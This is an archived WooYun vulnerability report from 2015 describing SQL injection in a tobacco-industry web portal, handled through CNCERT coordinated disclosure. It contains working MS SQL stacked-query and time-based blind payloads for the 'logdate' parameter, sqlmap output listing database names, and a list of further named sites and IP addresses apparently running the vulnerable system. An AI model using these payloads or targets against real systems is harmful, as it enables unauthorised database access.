当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108554

漏洞标题:某烟草行业通用系统注入

相关厂商:cncert

漏洞作者: 路人甲

提交时间:2015-04-20 12:27

修复时间:2015-07-23 10:38

公开时间:2015-07-23 10:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-20: 细节已通知厂商并且等待厂商处理中
2015-04-24: 厂商已经确认,细节仅向厂商公开
2015-04-27: 细节向第三方安全合作伙伴开放
2015-06-18: 细节向核心白帽子及相关领域专家公开
2015-06-28: 细节向普通白帽子公开
2015-07-08: 细节向实习白帽子公开
2015-07-23: 细节向公众公开

简要描述:

无意间看到的

详细说明:

无聊逛了一圈,发现此系统还存在注入漏洞

http://wooyun.org/bugs/wooyun-2014-087785


http://www.rzdonggang.gov.cn/ycportal/jsp/log/logdelete.jsp?logdate=2005-11-01


Place: GET
Parameter: logdate
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: logdate=2005-11-01'); WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: logdate=2005-11-01') WAITFOR DELAY '0:0:5'--
---
[11:26:39] [INFO] testing Microsoft SQL Server
[11:26:39] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[11:26:48] [INFO] confirming Microsoft SQL Server
[11:26:54] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[11:26:54] [INFO] fetching database names
[11:26:54] [INFO] fetching number of databases
[11:26:54] [INFO] retrieved:
[11:26:59] [INFO] adjusting time delay to 1 second due to good response times
8
[11:27:02] [INFO] retrieved: ArticleTotal
[11:28:06] [INFO] retrieved: master
[11:28:38] [INFO] retrieved: model
[11:29:08] [INFO] retrieved: msdb
[11:29:30] [INFO] retrieved: Northwind
[11:30:24] [INFO] retrieved: pubs
[11:30:49] [INFO] retrieved: tempdb
[11:31:24] [INFO] retrieved: ycportal


烟草.png


其它案例:
http://www.jxfdacdc.cn/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://www.dtycgs.cn/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://121.30.232.54:9080/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://sxlfyc.com/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://www.lvlyc.com.cn/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://59.53.245.105/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://szycgs.cn/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01

漏洞证明:

无聊逛了一圈,发现此系统还存在注入漏洞

http://wooyun.org/bugs/wooyun-2014-087785


http://www.rzdonggang.gov.cn/ycportal/jsp/log/logdelete.jsp?logdate=2005-11-01


Place: GET
Parameter: logdate
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: logdate=2005-11-01'); WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: logdate=2005-11-01') WAITFOR DELAY '0:0:5'--
---
[11:26:39] [INFO] testing Microsoft SQL Server
[11:26:39] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[11:26:48] [INFO] confirming Microsoft SQL Server
[11:26:54] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000
[11:26:54] [INFO] fetching database names
[11:26:54] [INFO] fetching number of databases
[11:26:54] [INFO] retrieved:
[11:26:59] [INFO] adjusting time delay to 1 second due to good response times
8
[11:27:02] [INFO] retrieved: ArticleTotal
[11:28:06] [INFO] retrieved: master
[11:28:38] [INFO] retrieved: model
[11:29:08] [INFO] retrieved: msdb
[11:29:30] [INFO] retrieved: Northwind
[11:30:24] [INFO] retrieved: pubs
[11:30:49] [INFO] retrieved: tempdb
[11:31:24] [INFO] retrieved: ycportal


烟草.png


其它案例:
http://www.jxfdacdc.cn/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://www.dtycgs.cn/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://121.30.232.54:9080/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://sxlfyc.com/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://www.lvlyc.com.cn/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://59.53.245.105/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01
http://szycgs.cn/ycportal/jsp/log/log/logdelete.jsp?logdate=2005-11-01

修复方案:

过滤咯

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-04-24 10:36

厂商回复:

CNVD确认所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商及各分中心通报。

最新状态:

暂无


漏洞评价:

评论